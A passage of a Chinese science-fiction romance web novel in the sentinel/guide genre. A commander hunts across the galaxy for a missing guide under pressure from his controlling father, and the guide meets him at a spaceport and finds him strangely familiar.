他手上正拿着感应笔，微低着头在感应板上写着什么，戴着眼镜的秘书躬身立在后面，不时在陆明远停笔时，凑近低声解释。 屏幕内外，皆一片安静。 明明是他向着陆厌离发起的通讯请求，接通之后，却又让陆厌离等了半晌，这才放下手中的笔，摆手示意秘书退了下去。 此时，陆厌离眸中最后一丝温度也已经彻底冷却了下去。 “舰队坐标显示，你们偏离了常规返航路线，一直在慢速行进，并在大量非任务星域进行高强度扫描作业。”见到自己的儿子，陆明远也没有任何寒暄的意思，直截了当地直入正题发出质问，“你在做什么？为什么没有直接返航？” 陆厌离下颌绷紧了一瞬，随即恢复如常：“这是军部内部的事务，请恕我无可奉告，父亲。” 陆明远眼睛眯了起来，看向陆厌离的眼神冰冷下来：“据我所知，你执行的是边缘星系镇压任务，似乎并没有搜查任务。更用不到最高级别的精神分析仪。” 他的身体微微前倾，目光锐利地刺向光屏另一端，声音低沉：“你在找那个向导，对吗？” 陆厌离猛地抬眼，迎上陆明远的目光：“是又如何？我早就说过了，如果家族找不到，那我就会用自己的方式去找！” “混账！”陆明远勃然大怒，“你知道为了给你提升等级，家族投入了多少资源，做出了多少让步吗？！我在你身上耗费了这么多的心血，不是让你沉迷于这种毫无意义的个人情绪的！立刻终止所有行动，用最快速度返航！” “父亲，”陆厌离的声音异常平静，即使面对着自己父亲的斥责，也毫无一丝动摇，“舰队的任务还未完成，按计划完成所有任务后，我自然会回返。” 陆明远的面色彻底沉了下来，一直以来都牢牢掌控在手心里的棋子，开始渐渐失控了。他紧盯着陆厌离那张平静的脸庞，眼神阴鸷，第一次感觉看不透那张面孔下的心思了。 但他清楚的知道，他不需要失控的武器，尤其是一件威力如此巨大，却不再瞄准他指定方向的武器。 “任务？”陆明远的声音冷得像冰，“陆厌离，别用军部当幌子来糊弄我。” 他的身体微微后仰，靠进背后宽大的椅背里，下巴微扬，目光下垂俯视，手指有节奏地叩击着桌面，一种令人窒息的压迫感扑面而来：“十天，我只给你十天时间，十天之后，我要在中央星的陆家老宅里见到你。” 陆厌离眼神微凝，没有立刻回应。 陆明远继续道，语气平淡却字字诛心：“你是我陆家最顶尖的高级哨兵，是家族最重要的威慑力量。议会在一个月后，即将审议下一季度近中央星系内，几个重要资源星的开发权分配问题，后面有好几家都在蠢蠢欲动。我需要你到时候在场。”提到那几个家族时，他目光中掠过一丝轻蔑。 顿了顿，直视向陆厌离的双眼，“十天之内你要是回不来，非要一意孤行，那我也不介意帮你清理掉一些不必要的干扰。你知道我说的是什么意思，一个毫无背景，无依无靠的小向导，在这个联盟里，消失起来是很容易的。” 陆厌离垂在身侧的手猛地攥紧，指关节用力到泛白。一股沸腾的精神力场不受控制地从他周身轰然爆开，指挥室内瞬间弥漫开一股甜腻的古怪味道。 塞西尔等人瞳孔骤缩，马上屏住了呼吸，再次疾步后退。 陆明远仿佛没看到投影这一边陆厌离的反应，又或者说，毫不在意。 他的唇边勾起一抹冰冷的笑意，微微抬了抬下巴：“记住，十天，别让我失望！” 随后，通讯被单方面切断，全息画面，一闪而逝。 指挥室内一片死寂。 陆厌离站在原地，连日来毫无所获的焦虑，在刚才的一番冲突中，混着来自陆明远的威压猛然爆发。 他狠狠一拳砸在金属扶手上，攥紧的拳头微微颤抖，手背上青筋暴突。陆明远精准地戳破了他最深的忧虑，陆家的势力在中央星系中盘根错节，之前一直说查不到消息，很可能是故意隐瞒了自己。说不定江寻的行踪早已在父亲的掌控之下了。若因为自己的坚持，真的让父亲动了对付江寻的念头……陆厌离不敢深想。 塞西尔担忧地上前半步：“少将……” 陆厌离猛地抬手，打断了他的话语。心念电转间，已经有了决断。 “传令全舰！”他的声音铿锵有力，带着一分决绝，“所有舰船，切换至全速航行模式，目标，”他猛地抬头，看向星图中下一个闪亮的星球，“科里亚星！我要在最短时间内抵达！” 科里亚星，他们既定航线上进入中央星域前，一个重要的商业枢纽，同时也是他的计划中，必须扫描的下一个关键节点。 他不会因为父亲的威胁而改变航线放弃寻找，他必须更快！在父亲动手之前找到江寻！ “是！”塞西尔肃然立正，立刻转身，向着各个部门传达指令。 几乎就在陆厌离的命令下达的同时，他手腕上的终端，开始连续震动起来。屏幕无声地亮起，几条来自故友的文字信息，在光屏上快速弹出。 【老陆，第七航道北部三个居住星上，没有查到相关记录。】 【厌离，卡戎手下控制着的几个黑市都筛查了一遍，没人见过这个向导。】 【陆哥，中央星南部几个大型枢纽都没有查到符合要求的过境记录，抱歉。】 一条条简洁的信息，照亮陆厌离的眼眸，又瞬间熄灭下去。 陆厌离嘴唇紧抿，沉默地闭上了眼睛。 他反手摸上自己的后腰，再一次清晰地回忆起那滚烫又熟悉的气息。 良久，沸腾的力场渐渐平息，当他再睁开眼时，那双墨绿眼瞳深处，依然燃起一道坚定的火焰。 他不再去看那一条条信息，目光穿透舷窗，投向遥远的方向。 “全速前进！” 镇魂号庞大的舰体在星空中发出一阵低沉嗡鸣，随后，尾部的推进器骤然爆发出强烈的幽蓝光芒。伴随在身侧的众多中小型舰艇，迅速调整队形，同步将引擎功率推至最大。 下一刻，整个舰队轰然启动！带着一往无前的孤绝气势，射向远方那颗在星图上越来越近的星球——科里亚。 * “嘟——！” 随着一声悠长的汽笛声，一艘大型运输舰在科里亚星空港中缓缓停稳。 舱门开启，伴随着平板无波的电子音播报出来的到站提示，旅客们鱼贯而出，一双脚蹬皮靴的矫健长腿跟随着人流迈出客舱。 紧接着，长腿的主人一跃而下，在周围乘客的惊呼声中稳稳落地，空港上空呼啸的风，将女人那头火焰般的红色短发吹得肆意飞扬。她嘴角扬起一抹笑意，辨认一下方向，便大跨步地离去。 第二公共疏导所中。 又是一天从早到晚强度拉满的疏导工作，江寻揉了揉有些发胀的太阳穴。反手将诊疗室的大门在自己身后轻轻合拢。 一天的疏导下来，消耗不小，他已经出现了一些轻度匮乏的症状，精神海中也传来丝丝拉扯疲惫感。 他刚转过身来，准备离开这空旷了不少的疏导所，脚步却蓦地一顿。 一股强大活跃，甚至可以说是肆无忌惮的精神力场，如一团熊熊燃烧着的火焰，骤然闯入了他敏锐的感知范围内。 那力场充满了力量与侵略性，即使隔着一段距离，那火焰般的灼热依然像是在他裸露的皮肤上炙烤。 江寻循着感觉的方向转身望去。 等候区外，靠近金属护栏的地方，此刻，正有一个高挑的身影，斜倚在那里，目光灼灼地看向他。 夕阳的余晖温暖柔和，穿过疏导所高大的外窗，将整个空间染成一片暖金色，却好像丝毫无法柔化那人身上迸发出的张扬锋锐。 那是一个二十七八岁的女人。 她穿着一身利落的深灰色作战服，光洁的布料上反射着夕阳的碎金。身材高挑火爆，贴身的作战服勾勒出漂亮的肌肉线条，身体曲线充满了力量感。 一头火焰般明艳的红色短发，利落飒爽地垂在颊边，衬得她的面部轮廓深刻又分明。而最引人注目的，是她那双极其明亮，充满了侵略性的眼睛。 江寻刚一出诊疗室的大门，那双眼睛便如锁定了猎物的掠食者般紧紧盯住了他，目光肆无忌惮地在他身上扫视了一圈，尤其在他的面庞和领口胸膛上停留了一瞬，嘴角随即勾起一抹张扬自信，充满了毫不掩饰的兴趣的微笑。 江寻心头微凛，这个力场的强度……又是一个A级哨兵！而且，与洛伦茨的冰冷内敛、斯通的中正平和都完全不同，面前人的状态极其活跃，强大的精神力场如同一颗熊熊燃烧的恒星，带着强烈的攻击性与霸道张扬。 这样的表现，让江寻将面前人与一个曾经听说过的名字迅速联系了起来——是塔中有名的独行哨兵，季千钧！ “夏因向导？”她的声音在空旷的大厅中响起，清亮有力，又带着一种独特的属于成熟女性的磁性，“幸会，我是季千钧。” 果然是她！江寻心中了然，面上依然平静，微微低头颔首：“季女士你好，久闻大名！” 季千钧的目光在江寻脸上停留了片刻，露出一个满意的微笑，“没想到夏因向导近看这么好看。”她站直身体，轻轻往前迈了几步，带着一种如猛兽逡巡般的悠闲与压迫感，踱步到江寻面前站定，目光如有实质般从他脸上寸寸划过。 而后，闭眼更加凑近一些细细感受。再睁开双眼时，目光中已经蕴含着更加放肆的兴趣与欣赏。 “匹配度报告说的果然没错，站在你面前，感觉更清晰了。” 她再次向前迈进了一小步，无视那默认的社交距离界限，属于顶级哨兵的炽热气息更加清晰地直冲江寻而来。“怎么就让那帮子臭男人把你发配到这里来了？这种地方，环境乱糟糟的，哨兵素质也良莠不齐，你还吃得消吗？” “我很满意在这里的工作，”江寻的声音温和，听不出一丝勉强，“疏导净化本来就是向导的工作，只要能帮到需要的人，在哪里，对方是什么样的人并不重要。” “是吗？”季千钧感兴趣的一挑眉，笑容加深，眼神更加直接，“你这态度，我喜欢。” “我也不饶弯子了，夏因向导。你应该知道了，我们之间的匹配度非常高，我查过你的背景，也从别人口中听过你的为人处事，我很中意你。”她顿了一顿，再次绽开一个艳丽而笃定的笑容，“我相信你也听过我的事，我的条件你也看到了，足以匹配得上你。我听说你还没有选定绑定向导，目前有联系的高级向导只有一个圣所里的毛头小子，所以……” 她直视向江寻的双眼，目光灼热，其中又蕴含了一些说不清道不明的吸引力，“要不要和我建立固定的疏导关系？” 江寻微微一怔，没想到对方的话语如此直白，几乎可以称得上突兀了。便如同她的名号，她的人一般，如此锋芒毕露。 “我需要一个稳定的，高水准的向导搭档。”季千钧的语气清晰自然，带着一种理所当然的自信，“而你，夏因，是我遇到过的匹配度最高，样貌身材也最合心意的向导。” 她的声音渐低，说到最后几个字时，语气缱绻暧昧，目光中骤然流露出一种无形的诱惑。 “跟我固定，那些烦人的，不自量力的苍蝇，你就不用再费心了，你可以尽情地利用我，让我帮你解决掉那些麻烦。”季千钧微微歪头，红发凌乱拂过她的侧脸，带出一股野性的原始魅力。 “而且，我不光实力强，身材长相也这么漂亮，更不要说……”她的笑容加深，眼神中浮现出一丝暧昧的挑逗，“我的补偿经验也很丰富，什么样的形式都愿意尝试，绝对能够让你满意。” “你是圣所顶尖的高级向导，而我，”季千钧的眼神更加炽热，“是塔中最强的矛之一，我们强强联手，各取所需，我还能带你体验最痛快最自由的生活。这比与那些困在条条框框里，亦或心思各异的人周旋，可有意思多了吧？” “要是尝试过了，觉得合拍，那我们最后绑定也没有问题。怎么样？考虑一下我的提议？我相信你不会后悔的。” 江寻脸上有点发热，他第一次被一位女士如此直白地邀请，即使知道这样的形式，在大多数高阶哨兵与向导之间习以为常，但骨子里那份来自东方古国的矜持，仍让他感到十分不自在。 “季女士，感谢你的认可与……”江寻卡壳了一下，才找到合适的词，“邀请。” 他的目光稍移，再次迎上季千钧时，已经恢复了平静。 “但是，我目前还没有与任何人建立固定疏导关系的计划。” 季千钧脸上那魅力自信的笑容瞬间凝固了一刹，眉毛一挑，带着探寻的目光审视向江寻的双眼。 她的脸上掠过一丝明显的意外，随即是浓浓的不解，眉头微微蹙起：“没有计划？为什么？”她的语气里仍然盈着笑意，但身上那股刺眼的张扬稍稍收敛了起来，透出抹真实的不解。“只是一个固定的搭档关系，我还愿意配合你尝试任何的补偿方式，不管是明面上还是背后，对你来说都只有好处没有坏处……” “是觉得我的条件不够好？还是……”她的目光扫过江寻平静的脸，“你心里已经有了属意的人选？” 江寻摇了摇头，“并不是条件好坏的问题，季女士。只是，不管别人如何，我并不太喜欢这种固定复数个哨兵的形式，所以只能对您说抱歉了。” “不要复数个？”季千钧尾音上扬起来，话语里充满了浓浓的质疑，“夏因，你这想法可真有意思。白白送到嘴边的肉，还有人不吃的？难道你没找到绑定向导之前，都不进行精神补偿了吗？” 季千钧面色奇异，像是听到了什么难以理解的东西。她盯着江寻看了好几秒，见他仍然是那副坚定的样子，眼神中渐渐浮现出困惑与不以为然，可同时，心中也升起一股浓浓的好奇与强烈的征服欲。 她忽然轻笑一声，不是嘲讽，更像是一种带着兴味的感叹：“夏因，你比我想象的还要有意思，不过没关系。” 她的话音陡然拔高，气势不减反增，再次逼近一步，距离江寻已经极近，目光紧紧钉在江寻身上：“我季千钧从不强人所难，我会让你看到，我才是最有资格站在你身边的人。” “你记住，夏因，”她深深看了江寻一眼，声音低沉下来，充满了强烈的笃定，“我看上的东西，从来没有得不到的，我们很快会再见的。” 话落，她利落地转身就走，火焰般的红发，在空中甩出一道耀眼的弧线。迈开长腿，走向楼梯口，金属短靴叩击在地板上，声音清脆有力。脚步声渐行渐远，终至无声。 江寻站在原地，走廊里似乎还残留着季千钧身上那股如同火焰般的炽热气息。他轻轻呼出一口气，揉了揉眉心，一丝疲惫感终于浮上眼底。 各方势力终于纷纷上桌，这看不清的未来，究竟会通向何方呢？ 第134章 时间在忙碌中过去得很快， 当最后一位C级哨兵带着难以置信的轻松笑容，一边连声道谢一边走出诊疗室时，总共为期三天的医疗援助任务终于正式结束。 江寻轻轻呼出一口长气， 揉了揉不时传来阵阵刺痛的太阳穴， 熟练地从随身的医疗包里取出一支自制的精神舒缓剂， 仰头灌了下去。冰凉的液体从喉管滑下，为他带来了一丝清明，而后化为四散而走的无形气流， 稍稍滋润了他干涸的精神海。 整整三天时间的密集疏导治疗， 即使他已经使用了最节省精神力的疏导方式，依然将他好不容易才恢复了些许的精神力，再次挥霍一空。 不过，当他的目光落在平板光屏上列出的那长长一溜治疗记录，与霍克主管递过来的，厚厚一沓写满了赞誉之声的任务评价报告上时， 一种沉甸甸的满足感便洋溢在他心头， 令他忘却了身体上的疲惫不适。 “夏因向导， 真的太感谢您了！”霍克搓着手，不住地向着江寻道谢。这三天之中， 他的休息时间也非常少，眼下的青黑依然发紫， 但那双布满红血丝的眼睛中，却时时刻刻充溢着亢奋的光芒。 积压数月的预约疏导单， 在这三天之中被一点一点搬空，让他觉得再累也值了。身上深重的压力卸去，连走路都轻快了几分。 “我真的太庆幸当时向圣所发布了这个任务！”霍克直到现在说起这个，都会激动地声音发颤， 他伸出粗糙的大手，紧紧握住江寻的手腕，“三天！仅仅三天时间，您一个人就把我们疏导所里压了几个月的那些积重病患几乎全部清空了！这样的效率和效果，我在这里干了将近二十年，从没遇到过！谢谢！真是太谢谢您了！您不知道，您救了多少人！” 霍克说着话，从身后取出一个鼓囊囊的文件袋，不由分说地塞进了江寻怀里。 见江寻下意识地要推辞，他立刻用力按住文件袋，急切地说：“您别推辞，您这三天里的辛苦我们都看在眼里，这里面的，是大家对您的一点心意，我们知道圣所的规矩，不多的，不会给您惹麻烦。另外，还有一些是那些被您疏导过的哨兵们，临走前非要留下的感谢信，都是些心意，是您应得的，请您一定要收下！” 江寻低头看着手中那沉甸甸的文件袋，又抬眼对上霍克那双因激动和疲惫，而一片通红的双眼，感受着这份发自内心的感激，终于没有继续推辞，将文件袋妥善地装进了随身的背包里，收下了这袋沉重的心意：“霍克主管言重了，这些本来就是我的分内之事，能够帮到大家，我也很高兴。” “您太谦虚了！”霍克感慨万千，又抓着江寻说了好一会儿话，直到门外负责护送的护卫第三次按响了催促的喇叭，这才如梦初醒。 “哎呀，看我啰嗦的，又耽误您的时间了！”霍克连忙如初来那时一般，引着江寻向外走去。 短短几步路，两人走得却并不顺畅。 疏导所里尚未离开的哨兵和工作人员，还有听到消息前来相送的接受过江寻治疗的哨兵们，见到江寻出来，纷纷围了上来，或是郑重地鞠躬致谢，或是不舍地挥手道别，众人的眼神中，充满了满满的敬意。 “夏因向导，谢谢您为我父亲治疗！” “保重啊，一路顺风，向导先生！” “夏因先生，多亏了您我才能重新醒来，谢谢您的救助！” 一声声真诚的道谢声，一路伴随着江寻离去的脚步，一直到他走至疏导所的大门口，身后跟着前来送行的人竟丝毫未减。 霍克也是一脸感慨，俯身亲自为江寻拉开了疏导所厚重的玻璃门，站在门口时，脸上写满了不舍与遗憾。 “下次要是还有机会……”他顿了顿，叹了口气，笑容有些苦涩又有些释然，“唉，我知道这种机会太小了，像您这样厉害的向导，不可能总是来我们这种小地方。但真的，如果您有机会再来的话，即使不是来做援助任务，也请一定回来看看！科里亚第二公共疏导所，永远给您留着一个位置！” 江寻闻言，在车门前停下了脚步。 他转过身来，目光扫过身后那一张张写满真诚的脸庞，最后落在霍克那双饱含祝福的眼睛上。 他郑重地躬身回了一礼，声音清晰，带着已经令大家熟悉的温和：“谢谢大家，也谢谢霍克主管。有机会的话，我一定会再来的。” 说完，江寻终于坐上了护卫驾驶的悬浮车，一路飞驰，抵达了空港处，三天前与梅丽约定好的汇合地点。 远远地，江寻就看到梅丽站在约定的位置，正踮着脚尖四处张望着。 梅丽还如三天前见过的那般活泼而俏丽，只是经过了三天的支援任务，眉宇间同样染上了明显的倦色，显然在第一疏导所的任务强度也不轻。 然而，当她看到江寻的身影出现时，还是第一时间跳了起来，脸上带着掩不住的兴奋红晕，眼睛亮晶晶地迎了上来。 “夏因向导，您可算来啦！”梅丽雀跃地跑到江寻面前，“怎么样，您这几天累坏了吧？”她明明是在问着江寻，自己脸上却先露出了一副“快来问我”的期待表情。 江寻被她直白的小心思逗笑了，满足了小孩子简单的愿望：“我还好，就是有点精神匮乏。你呢？在第一疏导所那边情况如何？是不是也忙得够呛？” “当然忙啦！”梅丽眼睛一亮，立刻打开了话匣子，凑上来，一边说着话一边兴奋地比划了起来，“第一疏导所真的好大好大！人好多哦！我从没见过这么多的哨兵聚在一起！” “那医疗任务是不是很多？累吗？”江寻顺着梅丽的话问道。 “对啊对啊！我从没见过这么多种类的疏导案例！”梅丽兴奋地脸颊泛红，“主管先生人特别好，安排我跟着一位经验丰富的C级向导老师学习。这位老师教了我好多好多实用的疏导技巧，和应对突发状况的方法。这几天我们一起治疗了好多好多人哦！” 她说着说着，又从随身的背包里小心翼翼地抽出一张照片，献宝似的递给江寻，“您看！临走的时候，主管先生还特意组织了第一疏导所里所有的向导和工作人员，一起和我拍了张大大的合影呢！” 江寻看着照片上那些灿烂的笑脸，又看看眼前这个虽然疲惫却神采飞扬的女孩，心中欣慰，拍了拍她的脑袋，由衷地称赞道：“看来梅丽表现得非常出色，工作也很勤奋，得到了大家的认可呢，你做得很棒。” “嘿嘿嘿！”梅丽被夸得有些不好意思了起来，把照片宝贝地收了起来，“都是大家照顾我，能来这里真的太棒啦！” “对了对了！”梅丽忽然想起了更重要的事情，又是眼睛一亮，“我打听到确切消息了！陆少将的主舰队昨天晚上就抵达科里亚星外围的近地轨道了！但是镇魂号主舰太大了，没办法直接登陆科里亚，所以少将和他的一些随行人员，还有后勤补给队，会在今天上午乘坐登陆舰下来，就在这个空港停靠补充物资呢！” “哦？那你的愿望可以实现了，时间刚刚好。”江寻也被她的快乐感染，笑容轻松地说道，“那我们现在就过去看看？” 想起几天前的谈话，江寻对梅丽口中推崇万分的强大又温柔的少将，也生出了几分好奇。 尤其是在接触过好几位联盟里那些高高在上的大人物，发现他们也与普通人有着一样的喜怒哀乐，执着与追求之后，对于这样原本与他的生活差距千里的大人物，也萌生了一些好奇心。 这位传说中的联盟双星之一，会有什么样的风采呢？ “嗯嗯！我们快走！听说好多提前得到消息的人，天刚亮就跑去占位置了！再晚点好位置就全没啦！”梅丽用力点头，把背包往身后一甩，拉着江寻的胳膊就往空港的方向小跑了过去。 江寻一笑，快走两步跟上她，轻轻伸手，在背后帮她托了一下背包，随即，两人一起汇入了不远处流向空港的人潮。 越是靠近空港的核心区域，路上的人流就越发密集起来。 与三天前江寻与梅丽初次抵达港口时的嘈杂混乱不同，今天的空港，处处洋溢着一种兴奋与热烈的情绪。 三三两两的人群聚集在一起，兴奋地交谈着，不少人手上还挥舞着小小的联盟旗帜，提着装满了花瓣的小篮子。 人们讨论地热闹飞扬，面上都洋溢着期待的笑容，目光不时投向天空，试图第一时间捕捉到那艘标志性的登陆舰。 梅丽带着江寻，在人群中拐着弯快速穿梭，路过议论中的人群时，不时有热烈的议论声传入江寻的耳中。 “真的吗？真的是陆厌离少将？之前不是有传言说陆少将已经不幸堕化了吗？” “千真万确！肯定是陆少将！当初军部发布镇压公告的时候你没看吗？上面都写了，领队指挥官就是陆厌离少将！” “太好了！是愈灵殿找到办法治好了陆少将吗？老天保佑！我就知道，像少将这样的好人，一定会有好报的！” “好像也不是愈灵殿，但是陆少将的确是得救了，我还听说，这回陆少将不仅完全恢复了，实力还再次提升了呢！” “真的假的？！少将不是已经是最强的S级哨兵了吗？这还能再提升？” “那我就不知道了，我也是听人说的，联盟倒是没传出来确切的消息，还不知道真假。” “哎呀，管他真假呢！只要少将能平平安安地回来，我看比什么都强！” 这番话说出，立刻引得周围一片赞同的声音。 “听说这次是少将伤愈之后第一次正式出征，不过一个月前就听说少将胜利的消息了，也不知道为什么现在才返程。” “你没听说吗？有人说陆少将这次回来，一直在沿途各个星球上找什么东西，这才走得慢，有好多星球的人，都趁着这次机会见到了少将本人了，星网上的照片和视频都传遍了！” “对对对！据说是丢了件非常重要的私人物品，少将已经找了很久了。” “不是吧？我怎么听说少将是在追捕一个通缉犯？” “也不知道是什么这么重要，连军部都默许少将放慢返程述职的速度去搜寻。” “哎呀，你们都猜错了！我听说呀，是少将在找他的心上人！”有人压低了声音，神神秘秘地说道。 “胡说八道！陆少将是什么人？怎么会做这种事？！我猜八成是重要的军事情报或者机密，又或者是战友的遗物之类的重要东西！” “唉，不管是什么，只希望少将能够早日找到吧！像他这样的人，不该再承受更多的苦难了……” “就是就是！好不容易好好地活了过来，一定要顺顺利利的才行啊！” 话落，又是一片叹息与祝福之声。 这些细碎的真挚言语落入江寻耳中，让他对这位素未谋面的少将又增添了几分好印象。 不论在哪个世界，能够被人们交口称赞，真心祝福的人，一定都是在某个方面来说非常伟大的人。而这位陆少将，在众人的口中既强大又温柔，深受人们的爱戴，江寻敬佩这样的人，亦和所有人一样，由衷地希望他能够得偿所愿，顺遂地度过一生。 一旁的梅丽更是听得眼圈微红，小声对江寻说道：“夏因向导，您看，大家都记得少将的好呢！他一定是在寻找非常重要的东西，希望他这次能成功找到！” “嗯，一定会的。”江寻眼中溢出温柔笑意，轻轻拍了拍梅丽的头顶。 恰在此时，空港上空响起了一阵清晰而沉稳的电子语音播报： “请注意！第八军团，登陆舰，编号LT-07，即将在十分钟后抵达三号军用接驳平台，请相关区域人员注意避让。” 在电子音响起的瞬间，整个喧闹的港口广场上，仿佛被按下了静音键，所有人都不由自主地安静下来，抬头看向天空。 电子语音重复三遍，与此同时，远方的天空之中，也出现了一个隐隐约约的小黑点。 刹时，整个广场爆发出一阵巨大的声浪！人群像潮水一般，汹涌奔流向靠近第三号军用平台的连接口。 官方维持秩序的安保人员迅速行动了起来，一道长长的警戒线拉了起来，将热情的人墙稳稳隔绝在主通道两侧。 科里亚星几位身着正式礼服的官员，也匆匆赶到了接驳口最前方的位置，神情肃穆中，面上显露出难以掩饰的紧张与兴奋。 梅丽的反应非常快，刚听到第一遍广播时，便一把拉住江寻，仗着身形灵巧，在人群中快速穿梭，顺利在第一时间抢占到了一个视野相对开阔的高地，抬头看向不远处，正在慢慢盘旋滑行而下的登陆舰。 明净的天空中，一艘线条流畅，外部印刻着第八军团徽记的中型登陆舰，正喷吐着幽蓝的尾焰，一边盘旋一边调整着方位，缓缓向着下方巨大的接驳口靠拢过来。 “来了！来了！”梅丽激动得声音都在抖，手指紧紧抓住江寻的胳膊。 江寻的目光也被那艘越来越近的登陆舰所吸引。 那庞大的舰体，在港口的引导信号指挥下，慢慢停下了身形，随着“咚隆”一声沉闷巨响，舰体稳稳悬停，广场上，瞬间再次爆发出震耳欲聋的欢呼声浪。 嗤——！ 伴随着一阵舱门开启的液压声，登陆舰稳稳地与接驳口对接成功。厚重的舱门缓缓从中间向上下两侧滑开，幽深的通道口中，明亮的灯光次第亮起。 “咔哒，咔哒……” 伴着一阵整齐划一的脚步声，广场上喧闹的声浪，声音渐渐低了下去，所有人的目光都聚焦在那敞开的舱门口。 短暂的寂静之后，舱门口光线一暗，几道身着严整军装的挺拔身影，迈着统一的步伐，背光而来。 当那为首之人，一步跨出舱门的阴影，完全出现在阳光之下的时候，整个广场轰然爆发出一阵山呼海啸的欢呼声！ 被这无比热烈的氛围裹挟着，江寻的目光也不由自主地投向了那个出现在众人面前的身影。 他的身高在身后几名随行人员的衬托下，并不算特别魁梧高大，看着比江寻略矮一些。 一身笔挺服帖的深黑色军服，身上没有佩戴任何其他的标志纹饰。合体的制服，在他身上勾勒出一道劲瘦而蕴含着强大爆发力的腰背线条。 与黑色军服形成强烈反差的，是他那一头浅色的短发。江寻细细辨认了一下，是一种罕见的接近银白的淡灰色。 浅淡的发色，被港口初升的阳光一照，仿佛笼上了一层清冷的微光。而与这浅淡发色相配的，是一身似乎久不见天日的苍白皮肤。 也许是久病初愈的缘故，病弱的痕迹还没有从他身上完全褪去，他的皮肤看起来很薄，甚至能看清皮下发出淡淡青色的血管青筋，阳光落在他的脸侧，一层轮廓居然能够微微透过光去，无端显露出一种脆弱的易碎感。 然而，当人们的目光落在他的面上时，外表所带来的那种关于“脆弱”的幻觉便瞬间被击得粉碎。 那是一张看着非常年轻的脸庞，江寻记得梅丽曾经提到过，这位陆少将的年纪已经快三十岁了，可他此刻看着却只有二十岁出头的样子。 他的眉骨高高耸起，鼻梁高挺鼻翼却非常窄小，唇薄而色淡，紧紧抿着，透出一股子不易亲近的冷淡味道。脸颊瘦削，下颌线条极其利落，连接着的脖颈也颀长而挺直。 最令人震撼的是他那双深邃而幽静的墨绿双眼，背着光时，看起来沉沉一片近似墨色，可被阳光一照，那墨绿便如最顶级的翡翠般清透又颜色浓艳。 此刻，这双眼睛正平静地从前来迎接他的人群身上一扫而过，强大的气势随着他沉静的目光洋洋洒洒地铺展开来。 高耸的眉骨在他的眼窝里投下一片深沉的阴影，让他的眼眸笼上了一层淡淡的疲惫感。可这层疲惫却丝毫无损于他的强大与锋锐，反而为他增添了一种饱经磨砺的厚重感。 这样独特的气质与他苍白面色与瘦削身姿混合在一起，强大与脆弱在他的身上汇聚统一，融合成一种极具冲击力的矛盾美感。 他一句话也没说，一个动作也没做，仅仅只是站在那里，这股奇异而强大的气场便瞬间笼罩了整个连接口平台。 广场上挤得满满当当，喧闹着欢呼着的人群，在他目光扫过的瞬间，纷纷不由自主地屏住了呼吸，只余无数双充满崇敬与狂热的目光紧紧追随着他的身影。 “陆……陆少将……”梅丽也是这群人中的一员，她双手紧紧地捂住嘴，在那人的身影出现在阳光下的瞬间，眼泪便毫无征兆地汹涌而出，她的身体激动得微微发颤，口中嗫嚅，几乎说不出完整的话语，“真……真的是他！他……他看起来……真的好起来了……太好了……太好了！” 江寻也怔住了。 他看着那个被随行人员簇拥着的身影，在匆忙迎接上来的工作人员引领下，步伐沉稳地走下舷梯，与前方排队前来的科里亚官员们一一握手行礼，简短交谈。 明明是从没见过的陌生人，可江寻的目光却久久无法从他身上转移开来。 他就是那位鼎鼎大名的联盟少将陆厌离？ 他就是梅丽口中那个既强大又温柔，燃烧了自己照亮了全联盟的传奇英雄？ 他就是被无数民众爱戴着的，牵动着亿万人心的联盟双星？ 江寻心中产生了一种强烈的割裂感。眼前这个看起来苍白疲惫，甚至带着一丝易碎感的年轻人，似乎很难与他脑海中那些闪亮的光环完全重合起来。 更让江寻感到困惑的是，不知为什么，他总觉得面前的人并不是这个样子的。 他应该是更加苍白虚弱，更加温柔地展露出笑容，甚至偶尔还会做出些恶作剧的模样…… 我为什么会这么想？ 江寻皱起眉头，目不转睛地凝视着远处的那个人影，一种极其古怪的微妙熟悉感，慢慢地浮上他的心头。 我是不是在哪里见过他？ 这种似是而非的感觉非常微弱，却十分醒目，就像蜻蜓掠过水面，轻轻荡起一圈涟漪，又转瞬即逝，快得让他抓不住缘由。 江寻快速地翻阅着自己的记忆，理智却告诉他不可能。这样让人印象深刻的外貌，如果见过，他又怎么会不记得呢？ “奇怪了……你到底是谁？”江寻低声自语，声音轻得如同一声叹息，转瞬就在空气中飘散于无形—— 作者有话说：猫猫终于来啦！开始掉马！[三花猫头] 第135章 穿梭舰发出一声悠长的鸣笛， 平稳地滑出了科里亚空港，随着一阵急速攀升，舷窗外喧嚷的人群渐渐远去， 深邃无垠的星空降临。 梅丽瘫在座椅上， 大口喘着气， 刚才她完全沉浸在见到陆少将的激动中，差点错过了回程的穿梭舰起飞的时间。还是江寻一直记着时间，拉着她一路疾走狂奔， 这才在舱门关闭前的最后一刻挤了进来。 “呼……吓死我了……呼呼……差点， 差点就没坐上船！”梅丽心有余悸地一边喘着粗气，一边拍打着胸口，小脸依旧红扑扑的，那股子兴奋劲儿还没完全过去。 好半天缓下了呼吸，这才侧过头来，眼睛亮晶晶地看向江寻， 忍不住又小声感叹起来：“陆少将看起来真的大好了， 这可太好了……夏因向导， 您看到了吗？刚才港口来了那么多那么多的人！大家都关心爱戴着陆少将呢！” 她说着说着，嘿嘿嘿地笑了起来， 回忆起刚才港口上那山呼海啸般的欢呼声，脸上洋溢着与有荣焉的自豪感。 江寻此时却有些心神不宁， 没有像往常那样好好地回应她的话，只轻轻“嗯”了一声。 他的目光有些失焦地落在舷窗外飞速掠过的星云尘埃上， 空港里那个让他印象深刻的身影，还清晰地徘徊在他的脑海里。 那种莫名的熟悉感，非但没有因为时间与距离而减弱，反而在他的心中激起了一圈圈久久不能平息的涟漪， 搅得他无法安宁下来。 我到底在哪里见过他？ 这个念头盘绕在他的心里，一向对外事都不怎么在意的男人，这一次却陷入了莫名的执拗，一心想要解开这个谜团。 江寻闭上眼靠躺下去，努力翻阅着记忆的宫殿，寻找着这股熟悉感的来处。 科里亚？不可能，他以前又没有来过科里亚，这位陆少将和他身边的人也是刚刚才抵达这里的。 中央星？哨兵岛？江寻从自己抵达中央星的时间点开始往后回溯。 没有，对方可是在全联盟都鼎鼎大名的S级哨兵，跟他这样还在圣所中念书的普通向导，根本不是一个世界的人，他很确定，他来到中央星后，从没有接触过陆厌离，连远远见过的印象都没有。而且，按照时间来推算，他在中央星的时候，对方应该正在外域执行任务…… 对了，外域？！ 某块记忆猛得被点亮，快速回溯回去，一个模糊的场景在江寻脑海中逐渐清晰起来。 